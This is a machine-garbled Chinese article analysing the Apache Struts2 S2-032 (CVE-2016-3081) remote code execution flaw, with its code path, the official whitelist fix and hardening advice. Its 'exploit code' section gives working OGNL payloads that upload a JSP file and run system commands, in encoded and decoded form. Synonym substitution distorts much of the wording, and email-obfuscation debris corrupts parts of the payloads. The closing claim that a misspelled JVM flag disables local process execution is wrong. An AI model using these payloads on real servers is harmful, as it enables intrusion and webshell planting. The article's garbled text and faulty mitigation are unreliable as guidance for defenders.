Struts2 破綻剖析及若何提早預防。本站提示廣大學習愛好者:(Struts2 破綻剖析及若何提早預防)文章只能為提供參考,不一定能成為您想要的結果。以下是Struts2 破綻剖析及若何提早預防正文
2016年4月26日,Apache Struts2官方又宣布了一份平安通知布告:Apache Struts2 辦事在開啟靜態辦法挪用的情形下可以長途履行隨意率性敕令,官方編號 S2-032,CVE編號 CVE-2016-3081。這是自2012年Struts2敕令履行破綻年夜范圍迸發以後,該辦事時隔四年再次迸發年夜范圍破綻。該破綻也是本年今朝爆出的最嚴重平安破綻。黑客應用該破綻,可對企業辦事器實行長途操作,從而招致數據洩漏、長途主機被控、內網滲入滲出等嚴重平安威逼。
破綻產生後,又是一次平安和相干公司的一次個人嘉會,破綻應用者在盡量的應用此次破綻來顯示程度的高明;各年夜眾測平台紛纭宣布中招公司,來晉升平台的感化;各年夜平安公司也充足應用此次破綻來進步公司的影響力,借重營銷,甚麼收費檢測,第一時光進級等。還剩一年夜堆愁悶的廠家,我沒招誰沒惹誰啊;然後就是年夜量的苦悶的開辟運維人員要連夜進級破綻補釘。
然則對破綻的道理傷害影響防護等少有說起。本文就是針對以上幾點提出本身的看法。
道理
這個破綻是應用struts2的靜態履行OGNL來拜訪隨意率性java代碼的,應用該破綻,可以掃描長途網頁,斷定能否存在該類破綻,進而發送歹意指令,完成文件上傳,履行本機敕令等後續進擊。
OGNL是Object-Graph Navigation Language的縮寫,全稱為對象圖導航說話,是一種功效壯大的表達式說話,它經由過程簡略分歧的語法,可以隨意率性存取對象的屬性或許挪用對象的辦法,可以或許遍歷全部對象的構造圖,完成對象屬性類型的轉換等功效。
#、%和$符號在OGNL表達式中常常湧現
1.#符號的用處普通有三種。
拜訪非根對象屬性,例如#session.msg表達式,因為Struts 2中值棧被視為根對象,所以拜訪其他非根對象時,須要加#前綴;用於過濾和投影(projecting)聚集,如persons.{?#this.age>25},persons.{?#this.name=='pla1'}.{age}[0];用來結構Map,例如示例中的#{'foo1':'bar1', 'foo2':'bar2'}。
2.%符號
%符號的用處是在標記的屬性為字符串類型時,盤算OGNL表達式的值,這個相似js中的eval,很暴力。
3.$符號重要有兩個方面的用處。
在國際化資本文件中,援用OGNL表達式,例如國際化資本文件中的代碼:reg.agerange=國際化資本信息:年紀必需在${min}同${max}之間; 在Struts 2框架的設置裝備擺設文件中援用OGNL表達式。
代碼應用流程
1、客戶端要求
http://{webSiteIP.webApp}:{portNum}/{vul.action}?method={malCmdStr}
2、DefaultActionProxy的DefaultActionProxy函數處置要求。
protected DefaultActionProxy(ActionInvocation inv, String namespace, String actionName, String methodName, boolean executeResult, boolean cleanupContext) { this.invocation = inv; this.cleanupContext = cleanupContext; LOG.debug("Creating an DefaultActionProxy for namespace [{}] and action name [{}]", namespace, actionName); this.actionName = StringEscapeUtils.escapeHtml4(actionName); this.namespace = namespace; this.executeResult = executeResult; //進擊者可以經由過程變量傳遞、語法補齊、字符本義等辦法停止繞過。 this.method = StringEscapeUtils.escapeEcmaScript(StringEscapeUtils.escapeHtml4(methodName)); }
3、DefaultActionMapper的DefaultActionMapper辦法method辦法名
String name = key.substring(ACTION_PREFIX.length()); if (allowDynamicMethodCalls) { int bang = name.indexOf('!'); if (bang != -1) { //獲得辦法名 String method = cleanupActionName(name.substring(bang + 1)); mapping.setMethod(method); name = name.substring(0, bang); } }
4、挪用DefaultActionInvocation 的invokeAction辦法履行傳入的辦法。
protected String invokeAction(Object action, ActionConfig actionConfig) throws Exception { String methodName = proxy.getMethod(); LOG.debug("Executing action method = {}", methodName); String timerKey = "invokeAction: " + proxy.getActionName(); try { UtilTimerStack.push(timerKey); Object methodResult; try { //履行辦法 methodResult = ognlUtil.getValue(methodName + "()", getStack().getContext(), action); } catch (MethodFailedException e) {
處理方法
官方的處理方法是在第三步中的函數cleanupActionName增長了校驗。
protected Pattern allowedActionNames = Pattern.compile("[a-zA-Z0-9._!/\\-]*"); protected String cleanupActionName(final String rawActionName) { //校驗,輸出過濾正則婚配("[a-zA-Z0-9._!/\\-]*"),這是采用白名雙方式,只許可年夜小寫字母、數字等無限字符。 if (allowedActionNames.matcher(rawActionName).matches()) { return rawActionName; } else { if (LOG.isWarnEnabled()) { LOG.warn("Action/method [#0] does not match allowed action names pattern [#1], cleaning it up!", rawActionName, allowedActionNames); } String cleanActionName = rawActionName; for (String chunk : allowedActionNames.split(rawActionName)) { cleanActionName = cleanActionName.replace(chunk, ""); } if (LOG.isDebugEnabled()) { LOG.debug("Cleaned action/method name [#0]", cleanActionName); } return cleanActionName; } }
修復建議
1、禁用靜態辦法挪用
修正Struts2的設置裝備擺設文件,將“struts.enable.DynamicMethodInvocation”的值設置為false,好比:
<constantname="struts.enable.DynamicMethodInvocation" value="false"/>;
2、進級軟件版本
進級Struts版本至2.3.20.2、2.3.24.2或許2.3.28.1
補釘地址:https://struts.apache.org/download.cgi#struts23281
破綻應用代碼
1、上傳文件:
method:%23_memberAccess%[email][email protected][/email]@DEFAULT_MEMBER_ACCESS,%23req%3d%40org.apache.struts2.ServletActionContext%40getRequest(),%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding[0]),%23w%3d%23res.getWriter(),%23path%3d%23req.getRealPath(%23parameters.pp[0]),new%20java.io.BufferedWriter(new%20java.io.FileWriter(%23path%2b%23parameters.shellname[0]).append(%23parameters.shellContent[0])).close(),%23w.print(%23path),%23w.close(),1?%23xx:%23request.toString&shellname=stest.jsp&shellContent=tttt&encoding=UTF-8&pp=%2f
下面的代碼看起來有點不便利,我們停止轉換一下在看看。
method:#[email protected]@DEFAULT_MEMBER_ACCESS, #[email protected]@getRequest(), #[email protected]@getResponse(), #res.setCharacterEncoding(#parameters.encoding[0]), #w=#res.getWriter(), #path=#req.getRealPath(#parameters.pp[0]), new java.io.BufferedWriter(new java.io.FileWriter(#path+#parameters.shellname[0]).append(#parameters.shellContent[0])).close(), #w.print(#path), #w.close(),1 ?#xx:#request.toString& shellname=stest.jsp& shellContent=tttt& encoding=UTF-8&pp=/
2、履行當地敕令:
method:%23_memberAccess%[email protected]@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding[0]),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd[0]).getInputStream()).useDelimiter(%23parameters.pp[0]),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp[0],%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&cmd=whoami&pp=\\A&ppp=%20&encoding=UTF-8
異樣我們經由轉換在看一下
method:#_memberAccess[#parameters.name1[0]]=true, #_memberAccess[#parameters.name[0]]=true, #_memberAccess[#parameters.name2[0]]={}, #_memberAccess[#parameters.name3[0]]={}, #[email protected]@getResponse(), #res.setCharacterEncoding(#parameters.encoding[0]), #w#d#res.getWriter(), #s=new java.util.Scanner(@java.lang.Runtime@getRuntime().exec(#parameters.cmd[0]).getInputStream()). useDelimiter(#parameters.pp[0]), #str=#s.hasNext()?#s.next():#parameters.ppp[0],#w.print(#str),#w.close(),1? #xx:#request.toString&name=allowStaticMethodAccess&name1=allowPrivateAccess&name2=excludedPackageNamePatterns&name3=excludedClasses&cmd=whoami&pp=\\A&ppp= &encoding=UTF-8
經由過程之前的引見,發明轉換後照樣比擬輕易懂得的。
若何預防
平安中有個異常主要的准繩就是最小權限准繩。所謂最小特權(Least Privilege),指的是"在完成某種操作時所付與收集中每一個主體(用戶或過程)必弗成少的特權"。最小特權准繩,則是指"應限制收集中每一個主體所必需的最小特權,確保能夠的變亂、毛病、收集部件的改動等緣由形成的喪失最小"。
好比在體系中假如沒有效到靜態辦法挪用,在安排的時刻就去失落,如許即便補釘沒有打,仍然不會被應用。
在這個體系中最主要的傷害之一是履行當地過程,假如體系沒有履行當地停止的需求,也能夠禁用。
我們看一下java代碼中履行當地敕令的代碼,ProcessImpl中的ProcessImpl。
private ProcessImpl(String cmd[], final String envblock, final String path, final long[] stdHandles, final boolean redirectErrorStream) throws IOException { String cmdstr; SecurityManager security = System.getSecurityManager(); boolean allowAmbiguousCommands = false; if (security == null) { allowAmbiguousCommands = true; //jdk曾經指定了參數來標識能否可以履行當地過程。 String value = System.getProperty("jdk.lang.Process.allowAmbiguousCommands"); if (value != null) allowAmbiguousCommands = !"false".equalsIgnoreCase(value); } if (allowAmbiguousCommands) {
在java啟動的時刻加上參數 -Djdk.lang.Process.allowAmbigousCommands=false,如許java就不會履行當地過程。
假如在體系安排的時刻能提早把不用要的內容關失落,可以會削減或許根絕這個破綻的傷害。